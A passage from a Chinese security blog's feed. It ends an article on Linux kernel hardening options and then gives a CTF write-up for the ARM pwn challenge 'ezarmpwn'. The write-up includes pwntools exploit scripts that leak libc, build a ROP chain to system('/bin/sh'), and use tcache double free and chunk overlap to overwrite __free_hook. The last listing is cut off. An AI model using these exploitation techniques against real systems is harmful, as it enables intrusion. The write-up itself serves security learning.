Disabling，不会产生waring警告</li><li>flush+nosmt，表示开启条件性的L1D flush加固，开启SMT Disabling加固</li><li>full，表示开启无条件的L1D flush加固，开启SMT Disabling加固</li><li>full+force，与full效果相同，但无法通过sysfs接口在运行时动态开启或关闭L1D flush或者SMT Disabling</li></ul><p>考虑到攻击的条件是对应物理地址在L1数据缓存中命中，那么每次在切换时把缓存清除即可。L1D flush是指在host kernel每次进入guest之前，都清空L1的数据缓存，由于清除缓存会带来性能下降的问题，所以又分成条件性清除和无条件清除，无条件就是应用到每次的<code>VMENTER</code>都会进行清除，条件执行是当<code>VMEXIT</code>和<code>VMENTER</code>之间执行的代码都是不重要的路径时，不会执行清除操作。</p><p>参考：<a href="https://www.kernel.org/doc/html/latest/admin-guide/hw-vuln/l1tf.html，http://www.360doc.com/content/21/0207/15/15915859_961159696.shtml" target="_blank" rel="noopener">https://www.kernel.org/doc/html/latest/admin-guide/hw-vuln/l1tf.html，http://www.360doc.com/content/21/0207/15/15915859_961159696.shtml</a></p><h3 id="SLAB-FREELIST-RANDOM"><a href="#SLAB-FREELIST-RANDOM" class="headerlink" title="SLAB_FREELIST_RANDOM"></a>SLAB_FREELIST_RANDOM</h3><p>开启配置选项会随机化slab的freelist，随机化用于创建新页的freelist为了减少对内核slab分配器的可预测性。这样能增加堆溢出攻击的难度。</p><p>参考：<a href="https://cateee.net/lkddb/web-lkddb/SLAB_FREELIST_RANDOM.html" target="_blank" rel="noopener">https://cateee.net/lkddb/web-lkddb/SLAB_FREELIST_RANDOM.html</a></p><h3 id="SHUFFLE-PAGE-ALLOCATOR"><a href="#SHUFFLE-PAGE-ALLOCATOR" class="headerlink" title="SHUFFLE_PAGE_ALLOCATOR"></a>SHUFFLE_PAGE_ALLOCATOR</h3><p>开启配置选项会使得页分配器随机分配内存，页分配器的随机化分配过程会提高内存端缓存映射的平均利用率，并且随机化的过程也能让页面分配不可预测，能够搭配<code>SLAB_FREELIST_RANDOM</code>让整个分配过程更加难以预测。尽管随机化能提高缓存利用率，但会对没有缓存的情况产生影响，因此，默认情况下，只会在运行时检测到有内存缓存之后才会启用随机化，也可以使用内核命令行参数<code>page_alloc.shuffle</code>强制开启。</p><p>参考：<a href="https://cateee.net/lkddb/web-lkddb/SHUFFLE_PAGE_ALLOCATOR.html" target="_blank" rel="noopener">https://cateee.net/lkddb/web-lkddb/SHUFFLE_PAGE_ALLOCATOR.html</a></p><h3 id="slab-nomerge"><a href="#slab-nomerge" class="headerlink" title="slab_nomerge"></a>slab_nomerge</h3><p>选项开启之后会禁止相近大小的slab合并，这个能有效防御一部分堆溢出的攻击，如果slab开启合并，被堆溢出篡改的slab块合并之后通常可以扩大攻击范围，让整个攻击危害更大。</p><p>参考：<a href="https://tails.boum.org/contribute/design/kernel_hardening/，https://patchwork.kernel.org/project/kernel-hardening/patch/1497915397-93805-24-git-send-email-keescook@chromium.org/" target="_blank" rel="noopener">https://tails.boum.org/contribute/design/kernel_hardening/，https://patchwork.kernel.org/project/kernel-hardening/patch/1497915397-93805-24-git-send-email-keescook@chromium.org/</a></p><h3 id="unprivileged-userfaultfd-0"><a href="#unprivileged-userfaultfd-0" class="headerlink" title="unprivileged_userfaultfd=0"></a>unprivileged_userfaultfd=0</h3><p>这个标志位是控制低权限用户是否能使用<code>userfaultfd</code>系统调用，标志设置为1时，允许低权限用户使用，设置为0时禁止低权限用户使用，只有高权限用户能够调用。<code>userfaultfd</code>是Linux中处理内存页错误的机制，用户可以自定义函数处理这种事件，在处理函数没有结束之前，缺页发生的位置将会处于暂停状态，这会导致一些条件竞争漏洞的利用。所以最好的办法是只让高权限用户有使用的权限。</p><p>参考：<a href="https://patchwork.kernel.org/project/linux-fsdevel/patch/20190319030722.12441-2-peterx@redhat.com/" target="_blank" rel="noopener">https://patchwork.kernel.org/project/linux-fsdevel/patch/20190319030722.12441-2-peterx@redhat.com/</a></p><h3 id="DEBUG-LIST-SG-CREDENTIALS-NOTIFIERS-VIRTUAL"><a href="#DEBUG-LIST-SG-CREDENTIALS-NOTIFIERS-VIRTUAL" class="headerlink" title="DEBUG_{LIST,SG,CREDENTIALS,NOTIFIERS,VIRTUAL}"></a>DEBUG_{LIST,SG,CREDENTIALS,NOTIFIERS,VIRTUAL}</h3><p>这一组配置选项用于调试内核。</p><ul><li><code>DEBUG_LIST</code>：用于调试链表操作，开启之后会在链表操作中执行额外检查</li><li><code>DEBUG_SG</code>：用于调试SG表的操作，开启之后会检查scatter-gather表，这个能帮助发现那些不能正确初始化SG表的驱动</li><li><code>DEBUG_CREDENTIALS</code>：用于调试凭证管理，开启之后对凭证管理做调试检查，追踪<code>task_struct</code>到给定凭证结构的指针数量没有超过凭证结构的使用上限</li><li><code>DEBUG_NOTIFIERS</code>：用于调试通知调用链，开启之后会检测通知调用链的合法性，这个选项对于内核开发人员非常有用，能确保模块正确的从通知链中注销</li><li><code>DEBUG_VIRTUAL</code>：用于调试虚拟内存转换，开启之后在内存转换时会合法性检查（待确认）</li></ul><p>参考：<a href="https://cateee.net/lkddb/web-lkddb/DEBUG_LIST.html，https://github.com/torvalds/linux/blob/master/lib/Kconfig.debug#L1540" target="_blank" rel="noopener">https://cateee.net/lkddb/web-lkddb/DEBUG_LIST.html，https://github.com/torvalds/linux/blob/master/lib/Kconfig.debug#L1540</a></p><h3 id="BUG-ON-DATA-CORRUPTION"><a href="#BUG-ON-DATA-CORRUPTION" class="headerlink" title="BUG_ON_DATA_CORRUPTION"></a>BUG_ON_DATA_CORRUPTION</h3><p>开启配置选项会在检查到数据污染时触发一个bug，如果想要检查内核内存结构中的数据污染可以开启这个选项。能有效防御缓冲区溢出类漏洞。</p><p>参考：<a href="https://cateee.net/lkddb/web-lkddb/BUG_ON_DATA_CORRUPTION.html" target="_blank" rel="noopener">https://cateee.net/lkddb/web-lkddb/BUG_ON_DATA_CORRUPTION.html</a></p><h3 id="STATIC-USERMODEHELPER"><a href="#STATIC-USERMODEHELPER" class="headerlink" title="STATIC_USERMODEHELPER"></a>STATIC_USERMODEHELPER</h3><p>这个选项会强制所有的<code>usermodehelper</code>通过单一的二进制程序调用。在默认情况下，内核会通过<code>usermodehelper</code>的内核接口调用不同的用户空间程序，其中的一些会在内核代码中静态定义或者作为内核配置选项。然而，其中的另外一些是在运行时动态创建的或者在内核启动之后能修改。为了增强安全性，会重定向所有的调用到一个特定的不能改变的二进制程序上，这个程序的第一个参数是需要被执行的用户空间程序。</p><p>参考：<a href="https://patchwork.kernel.org/project/kernel-hardening/patch/20170116165044.GC29693@kroah.com/" target="_blank" rel="noopener">https://patchwork.kernel.org/project/kernel-hardening/patch/20170116165044.GC29693@kroah.com/</a></p><h3 id="LOCKDOWN-LSM"><a href="#LOCKDOWN-LSM" class="headerlink" title="LOCKDOWN_LSM"></a>LOCKDOWN_LSM</h3><p>这个相关的<code>locked_down</code>能让LSM（Linux Security Module）通过hook的方法锁定内核，阻止一些高危操作。比如加载未签名的模块，访问特殊文件<code>/dev/port</code>等等。</p><p>参考：<a href="https://lwn.net/Articles/791863/" target="_blank" rel="noopener">https://lwn.net/Articles/791863/</a></p><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>内核防御机制多种多样，大体上较为通用的思路有限制权限的以SMEP，SMAP为代表，有做地址空间分离的，有通过随机化增加预测难度的，有插入特殊数据块或者检查返回地址防御缓冲区溢出的，有擦除混淆数据防止泄露的。最后可以看到Linux内核的很多优秀的防御机制都来自于<code>PaX/Grsecurity</code>，该组织提供的防御思路比各大厂商领先好几年，在学习之余不由得敬佩这20年来他们为内核防御做出的杰出贡献。</p><h2 id="Reference"><a href="#Reference" class="headerlink" title="Reference"></a>Reference</h2><p><a href="https://ayesawyer.github.io/2019/08/16/%E7%B3%BB%E7%BB%9F%E5%AE%89%E5%85%A8%E6%9C%BA%E5%88%B6%E2%80%94%E2%80%94Android-Linux/" target="_blank" rel="noopener">https://ayesawyer.github.io/2019/08/16/%E7%B3%BB%E7%BB%9F%E5%AE%89%E5%85%A8%E6%9C%BA%E5%88%B6%E2%80%94%E2%80%94Android-Linux/</a></p><p><a href="https://www.jianshu.com/p/4bc65d4477d3" target="_blank" rel="noopener">https://www.jianshu.com/p/4bc65d4477d3</a></p><p><a href="https://github.com/bsauce/kernel-security-learning" target="_blank" rel="noopener">https://github.com/bsauce/kernel-security-learning</a></p><p><a href="https://github.com/hardenedlinux/grsecurity-101-tutorials" target="_blank" rel="noopener">https://github.com/hardenedlinux/grsecurity-101-tutorials</a></p><p><a href="https://kernsec.org/wiki/index.php/Main_Page" target="_blank" rel="noopener">https://kernsec.org/wiki/index.php/Main_Page</a></p><p><a href="https://hardenedlinux.github.io/announcement/2017/04/29/hardenedlinux-statement2.html" target="_blank" rel="noopener">https://hardenedlinux.github.io/announcement/2017/04/29/hardenedlinux-statement2.html</a></p>]]></content>
    
    <summary type="html">
    
      
      
        &lt;p&gt;文章首发于安全客  &lt;a href=&quot;https://www.anquanke.com/post/id/238363&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://www.anquanke.com/post/id/238363&lt;/a&gt;&lt;/p
      
    
    </summary>
    
      <category term="技术" scheme="https://hurricane618.me/categories/%E6%8A%80%E6%9C%AF/"/>
    
    
      <category term="Kernel" scheme="https://hurricane618.me/tags/Kernel/"/>
    
      <category term="Linux" scheme="https://hurricane618.me/tags/Linux/"/>
    
  </entry>
  
  <entry>
    <title>西湖论剑 IoT闯关赛 2020 pwn3 ezarmpwn</title>
    <link href="https://hurricane618.me/2020/12/17/2020xhlj-iot-pwn/"/>
    <id>https://hurricane618.me/2020/12/17/2020xhlj-iot-pwn/</id>
    <published>2020-12-17T13:22:10.000Z</published>
    <updated>2020-12-17T13:22:10.332Z</updated>
    
    <content type="html"><![CDATA[<p>文章首发于安全客 <a href="https://www.anquanke.com/post/id/224972" target="_blank" rel="noopener">https://www.anquanke.com/post/id/224972</a></p><h2 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h2><p>打了安恒举办的西湖论剑比赛，题目都是跑在一个开发板上的，通过数据线连接开发板的otg接口能访问题目环境。pwn题目一共有三道，其中有一道题目因为逻辑上的问题导致能比较简单的获得flag，另外一道题目是boa服务器在处理http认证过程中，发生栈溢出。我们这里分析的是这次比赛的第三道pwn题ezarmpwn。</p><h2 id="题目分析"><a href="#题目分析" class="headerlink" title="题目分析"></a>题目分析</h2><p>通过file和checksec能够知道程序为32位的arm小端程序，开启NX保护，没有PIE和canary保护。</p><img src="/2020/12/17/2020xhlj-iot-pwn/1.png"><p>主办方给出的libc为2.30，把libc解压的文件夹和题目放在同一个目录，使用<code>qemu-arm -L ./ ./pwn3</code>执行程序，能看到首先要求输入用户名和密码，之后进入到菜单选项。</p><img src="/2020/12/17/2020xhlj-iot-pwn/2.png"><p>play选项有两个子功能，add和delete，能分配chunk和释放chunk；私人信息是输出用户名和密码的内容；修改密码输入字符串修改原始的密码；选项4会退出程序，从功能上看是一道典型的libc菜单题。</p><h2 id="漏洞分析"><a href="#漏洞分析" class="headerlink" title="漏洞分析"></a>漏洞分析</h2><p>这道题的漏洞非常多，有一些漏洞很有干扰性。首先用户名和密码都是固定长度的buffer，大小如下：</p><img src="/2020/12/17/2020xhlj-iot-pwn/3.png"><h3 id="栈溢出1"><a href="#栈溢出1" class="headerlink" title="栈溢出1"></a>栈溢出1</h3><p>密码和用户名被带进注册函数中，这里输入的用户名直接通过scanf进入src没有任何限制，直接溢出。</p><img src="/2020/12/17/2020xhlj-iot-pwn/4.png"><h3 id="off-by-null"><a href="#off-by-null" class="headerlink" title="off by null"></a>off by null</h3><p>在栈溢出下方有一个off by null的漏洞，如果我们在输入的密码中没有<code>\n</code>就会持续移动指针，最后在有<code>\n</code>的地方赋值为0，不过这个漏洞太难利用非常鸡肋。</p><h3 id="UAF"><a href="#UAF" class="headerlink" title="UAF"></a>UAF</h3><p>在play的选项中的结构为下方所示：</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="class"><span class="keyword">struct</span> &#123;</span></span><br><span class="line">    <span class="keyword">int</span> size;</span><br><span class="line">    <span class="keyword">char</span>* content;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>最后在delete操作中没有对指针置空，存在UAF漏洞，不过这里的结构体是在事先分配好的空间中，所以这个UAF利用难度较大，我能想到的是利用double free，但是在libc 2.30的情况下，利用难度很大。</p><img src="/2020/12/17/2020xhlj-iot-pwn/5.png"><h3 id="栈溢出2"><a href="#栈溢出2" class="headerlink" title="栈溢出2"></a>栈溢出2</h3><p>我们知道密码的buffer长度为40，这里strncpy直接复制了0x48（72）长度的字符串，直接溢出。</p><img src="/2020/12/17/2020xhlj-iot-pwn/6.png"><p>以上就是能够观察到的漏洞了，虽然我们有两个非常有用的栈溢出漏洞，但是我们需要泄露出libc地址，才能继续完成利用，不管是进行ROP还是利用UAF向<code>__free_hook</code>写地址都是需要libc地址的，所以拿到libc地址成为了我们的首要目标。</p><h2 id="漏洞利用"><a href="#漏洞利用" class="headerlink" title="漏洞利用"></a>漏洞利用</h2><p>最开始，我的想法是直接利用第一个栈溢出漏洞进行ROP，也找到了一些gadget，最后发现此路不通，程序本身的gadget十分少再加上程序的函数got地址都带有<code>0x20</code>，这个字符在scanf的时候回产生截断，导致rop失败。所以没有办法像x86那样用puts等泄露函数输出函数地址来计算得到libc地址。</p><p>那么另外一个栈溢出漏洞又如何呢？分析之后发现只能控制PC，没有足够的溢出长度来完成ROP。于是在比赛的时候，我就陷入了绝望，有没有什么方法可以获取到libc呢？在参考了<code>pzhxbz</code>师傅的exp之后恍然大悟，原来可以在栈上找libc地址通过strncpy连带着拷贝到password的buffer中，随后利用输出信息功能泄露字符串获得libc地址。看来以后在出现了输出功能的地方都要留个心眼，看看能不能有方法输出栈上的libc地址信息。</p><h3 id="leak-libc"><a href="#leak-libc" class="headerlink" title="leak libc"></a>leak libc</h3><p>在read到临时buffer栈空间中，可以看到有libc相关的函数地址，所以只要我们填充40字节的数据，在执行strncpy的时候就会连带着这个地址一起进入paasword中。</p><img src="/2020/12/17/2020xhlj-iot-pwn/7.png"><p>查看完成strncpy之后的的password，可以看到已经把后面的libc地址一起连带复制进buffer中。</p><img src="/2020/12/17/2020xhlj-iot-pwn/8.png"><p>我们调用输出信息的功能就可以看到泄露出的libc地址。</p><img src="/2020/12/17/2020xhlj-iot-pwn/9.png"><p>减去libc的基地址成功获得相对于libc的偏移。</p><img src="/2020/12/17/2020xhlj-iot-pwn/10.png"><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">change(<span class="string">'a'</span>*<span class="number">40</span>)</span><br><span class="line">info()</span><br><span class="line">io.recvuntil(<span class="string">'a'</span>*<span class="number">40</span>)</span><br><span class="line">libc_addr = u32(io.recv(<span class="number">4</span>)) - <span class="number">0x32248</span></span><br><span class="line">print(<span class="string">'libc_addr: '</span> + hex(libc_addr))</span><br></pre></td></tr></table></figure><h3 id="control-pc-and-rop"><a href="#control-pc-and-rop" class="headerlink" title="control pc and rop"></a>control pc and rop</h3><p>有了libc地址之后，这下就非常容易了，利用第二个栈溢出漏洞控制PC到最开始的地方触发第一个栈溢出漏洞完成rop。这里rop的思路是利用libc地址得到system和/bin/sh，使用gadget执行system函数。</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">#.text:000A1A5C                 MOV     R0, R4</span></span><br><span class="line"><span class="comment">#0x00010784 : pop &#123;r4, pc&#125;</span></span><br><span class="line">change(<span class="string">b'a'</span>*<span class="number">64</span> + p32(<span class="number">0x10e70</span>))</span><br><span class="line">io.sendlineafter(<span class="string">'choice &gt; '</span>, <span class="string">'4'</span>)</span><br><span class="line">payload = <span class="string">b'c'</span> * <span class="number">0x1c</span> + p32(<span class="number">0x10784</span>) + p32(bin_sh) + p32(libc_addr + <span class="number">0xa1a5c</span>) + p32(system)</span><br></pre></td></tr></table></figure><p>这里还需要注意的一点是，我们溢出的部分覆盖了password的buffer，因此在输入密码的时候必须控制输入的内容，让字符串复制之后的rop chain依旧可以运行。在libc中找到如下的gadget：</p><img src="/2020/12/17/2020xhlj-iot-pwn/11.png"><p>虽然最后一个字节有差异但指令却是相同的，这样我们输入空密码最终在字符串复制时也只会复制一个空字节，对我们的rop chain将不会有任何影响。</p><p>我在测试的时候有很多坏字符的干扰，比如<code>0x0a</code>和<code>0x20</code>，比较难受的是system函数的地址中恰好带有<code>0x20</code>所以整个exp在本地是没有办法复现的，只能在开发板上能成功。</p><h3 id="UAF-1"><a href="#UAF-1" class="headerlink" title="UAF"></a>UAF</h3><p>在完成泄露libc地址之后，也可以不使用上面的栈溢出攻击方法，转而利用uaf漏洞完成堆利用的攻击。这里有两个利用思路，一个是很容易想到的double free，另外一个是构造出chunk overlap。</p><p>因为有tcache，要构造double free需要先把tcache填满，然后使用之前free一个再free另外一个最后再次free第一次free的chunk。</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> range(<span class="number">10</span>):</span><br><span class="line">    add(i,<span class="number">0x30</span>,<span class="string">'/bin/sh\x00'</span>)</span><br><span class="line"></span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> range(<span class="number">7</span>):</span><br><span class="line">    dele(i)</span><br><span class="line"></span><br><span class="line">dele(<span class="number">7</span>)</span><br><span class="line">dele(<span class="number">8</span>)</span><br><span class="line">dele(<span class="number">7</span>)</span><br></pre></td></tr></table></figure><p>在有tcache的情况下会优先分配tcache中的chunk，所以再把tcache链表中的7个chunk全部分配，在这之后申请的第一个chunk修改它的指针让其指向我们想写入的地址<code>__free_hook</code>，再分配三次，第三次写入system地址到<code>__free_hook</code>中，最后随便free一个内容为<code>/bin/sh\x00</code>的chunk即可getshell。</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> range(<span class="number">7</span>):</span><br><span class="line">    add(<span class="number">20</span>+i,<span class="number">0x30</span>,<span class="string">'/bin/sh\x00'</span>)</span><br><span class="line"></span><br><span class="line">add(<span class="number">30</span>,<span class="number">0x30</span>,p32(libc+e.symbols[<span class="string">'__free_hook'</span>]))</span><br><span class="line">print(hex(libc+e.symbols[<span class="string">'__free_hook'</span>]))</span><br><span class="line">add(<span class="number">31</span>,<span class="number">0x30</span>,<span class="string">'test'</span>)</span><br><span class="line">add(<span class="number">32</span>,<span class="number">0x30</span>,<span class="string">'test'</span>)</span><br><span class="line">add(<span class="number">34</span>,<span class="number">0x30</span>,p32(libc+e.symbols[<span class="string">'system'</span>]))</span><br><span class="line">add(<span class="number">11</span>,<span class="number">10</span>,<span class="string">'/bin/sh\x00'</span>)</span><br><span class="line"></span><br><span class="line">dele(<span class="number">11</span>)</span><br></pre></td></tr></table></figure><p>另外一个思路是构造出chunk overlap，申请两个较大的chunk，释放之后申请一个更大的chunk，使得之前较小的两个chunk合并，这样新申请的大chunk能够修改到其中一个小chunk的header。把header改成tcache的范围，free这个chunk，让它进入tcache中，这个时候重复释放和分配大chunk就能修改tcache的指针，剩下来的操作和上面的相同。</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> range(<span class="number">9</span>):</span><br><span class="line">   add(i,<span class="number">0x40</span>,<span class="string">"aaaa\n"</span>)</span><br><span class="line">add(<span class="number">15</span>,<span class="number">6</span>,<span class="string">"a\n"</span>) <span class="comment">#0x10</span></span><br><span class="line">add(<span class="number">14</span>,<span class="number">6</span>,<span class="string">"a\n"</span>) <span class="comment">#0x10</span></span><br><span class="line">delete(<span class="number">15</span>) </span><br><span class="line">delete(<span class="number">14</span>) <span class="comment">#tcache[0x10]=14-&gt;15</span></span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> range(<span class="number">9</span>):</span><br><span class="line">   delete(<span class="number">8</span>-i) <span class="comment">#unsorted bin 0-&gt;1 </span></span><br><span class="line">free_hook = libc + <span class="number">0x1479cc</span></span><br><span class="line">system    = libc + <span class="number">0x3a028</span></span><br><span class="line">add(<span class="number">9</span>,<span class="number">0x70</span>,<span class="string">"a"</span>*<span class="number">0x40</span>+p32(<span class="number">0</span>)+p32(<span class="number">0x11</span>)+p32(<span class="number">0</span>)*<span class="number">3</span>+p32(<span class="number">0x39</span>)+<span class="string">"\n"</span>) <span class="comment">#overchunk</span></span><br><span class="line">delete(<span class="number">1</span>) <span class="comment">#tcache[0x10] = 1-&gt;14-&gt;15</span></span><br><span class="line">delete(<span class="number">9</span>)  </span><br><span class="line">add(<span class="number">10</span>,<span class="number">0x70</span>,<span class="string">"a"</span>*<span class="number">0x40</span>+p32(<span class="number">0</span>)+p32(<span class="number">0x11</span>)+p32(free_hook)*<span class="number">3</span>+p32(<span class="number">0x39</span>)+p32(libc+<span class="number">0x1479cc</span>)+<span class="string">"\n"</span>)</span><br><span class="line">add(<span class="number">11</span>,<span class="number">8</span>,<span class="string">"/bin/sh\x00"</span>)</span><br><span class="line">add(<span class="number">12</span>,<span class="number">8</span>,p32(libc+<span class="number">0x3a028</span>)+<span class="string">"\n"</span>)</span><br><span class="line"><span class="comment"># print hex(libc+0x1479cc)</span></span><br><span class="line">delete(<span class="number">11</span>)</span><br><span class="line">p.interactive()</span><br></pre></td></tr></table></figure><h2 id="最终exp"><a href="#最终exp" class="headerlink" title="最终exp"></a>最终exp</h2><p>这是栈溢出的exp</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"></span><br><span class="line">elf = ELF(<span class="string">'./pwn3'</span>)</span><br><span class="line">libc = ELF(<span class="string">'./lib/libc-2.30.so'</span>)</span><br><span class="line">context.arch= <span class="string">'arm'</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> args[<span class="string">'D'</span>]:</span><br><span class="line">    context.log_level = <span class="string">'debug'</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> args[<span class="string">'R'</span>]:</span><br><span class="line">    io = remote(<span class="string">''</span>)</span><br><span class="line"><span class="keyword">else</span>:</span><br><span class="line">    io = process([<span class="string">'qemu-arm'</span>, <span class="string">'-g'</span>, <span class="string">'1234'</span>, <span class="string">'-L'</span>, <span class="string">'./'</span>, <span class="string">'./pwn3'</span>])</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">add</span><span class="params">(my_id, size, content)</span>:</span></span><br><span class="line">    io.sendlineafter(<span class="string">'choice &gt; '</span>, <span class="string">'1'</span>)</span><br><span class="line">    io.sendlineafter(<span class="string">'choice &gt; '</span>, <span class="string">'1'</span>)</span><br><span class="line">    io.sendlineafter(<span class="string">'index: '</span>, str(my_id))</span><br><span class="line">    io.sendlineafter(<span class="string">'size: '</span>, str(size))</span><br><span class="line">    io.sendafter(<span class="string">'content: '</span>, content)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">delete</span><span class="params">(my_id)</span>:</span></span><br><span class="line">    io.sendlineafter(<span class="string">'choice &gt; '</span>, <span class="string">'1'</span>)</span><br><span class="line">    io.sendlineafter(<span class="string">'choice &gt; '</span>, <span class="string">'2'</span>)</span><br><span class="line">    io.sendlineafter(<span class="string">'index: '</span>, str(my_id))</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">info</span><span class="params">()</span>:</span></span><br><span class="line">    io.sendlineafter(<span class="string">'choice &gt; '</span>, <span class="string">'2'</span>)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">change</span><span class="params">(content)</span>:</span></span><br><span class="line">    io.sendlineafter(<span class="string">'choice &gt; '</span>, <span class="string">'3'</span>)</span><br><span class="line">    io.sendafter(<span class="string">'Please Input new password:'</span>, content)</span><br><span class="line">    io.sendlineafter(<span class="string">'continue'</span>, <span class="string">''</span>)</span><br><span class="line"></span><br><span class="line">pause()</span><br><span class="line"></span><br><span class="line">io.sendlineafter(<span class="string">'Please registered account \nInput your username:'</span>, <span class="string">'xxxx'</span>)</span><br><span class="line">io.sendlineafter(<span class="string">'Please input password:'</span>, <span class="string">'2333'</span>)</span><br><span class="line">io.sendlineafter(<span class="string">'Please input password again:'</span>, <span class="string">'2333'</span>)</span><br><span class="line">io.sendlineafter(<span class="string">'continue ...'</span>, <span class="string">''</span>)</span><br><span class="line"></span><br><span class="line"><span class="string">'''</span></span><br><span class="line"><span class="string">0x10f58 mov r0, r7; blx r3;</span></span><br><span class="line"><span class="string">0x10a90 mov r0, r3; pop &#123;fp, pc&#125;;</span></span><br><span class="line"><span class="string">0x105c8 : pop &#123;r3, pc&#125;</span></span><br><span class="line"><span class="string">0x10784 : pop &#123;r4, pc&#125;</span></span><br><span class="line"><span class="string">'''</span></span><br><span class="line">pause()</span><br><span class="line">change(<span class="string">'a'</span>*<span class="number">40</span>)</span><br><span class="line">info()</span><br><span class="line"></span><br><span class="line">io.recvuntil(<span class="string">'a'</span>*<span class="number">40</span>)</span><br><span class="line">libc_addr = u32(io.recv(<span class="number">4</span>)) - <span class="number">0x32248</span></span><br><span class="line">print(<span class="string">'libc_addr: '</span> + hex(libc_addr))</span><br><span class="line"></span><br><span class="line">change(<span class="string">b'a'</span>*<span class="number">64</span> + p32(<span class="number">0x10e70</span>))</span><br><span class="line"></span><br><span class="line">io.sendlineafter(<span class="string">'choice &gt; '</span>, <span class="string">'4'</span>)</span><br><span class="line"></span><br><span class="line">bin_sh = libc_addr + <span class="number">1212228</span></span><br><span class="line">system = libc_addr + <span class="number">237608</span></span><br><span class="line">payload = <span class="string">b'c'</span> * <span class="number">0x1c</span> + p32(<span class="number">0x10784</span>) + p32(bin_sh) + p32(libc_addr + <span class="number">0xa1a5c</span>) + p32(system)</span><br><span class="line"></span><br><span class="line">io.sendlineafter(<span class="string">'username:'</span>, payload)</span><br><span class="line">io.sendlineafter(<span class="string">'password:'</span>, <span class="string">''</span>)</span><br><span class="line">pause()</span><br><span class="line">io.sendlineafter(<span class="string">'again:'</span>, <span class="string">''</span>)</span><br><span class="line"></span><br><span class="line">io.sendlineafter(<span class="string">'continue'</span>, <span class="string">''</span>)</span><br><span class="line"></span><br><span class="line">io.interactive()</span><br></pre></td></tr></table></figure><p>这是利用uaf的两个exp，第一个为double free，第二个为chunk overlap。</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span 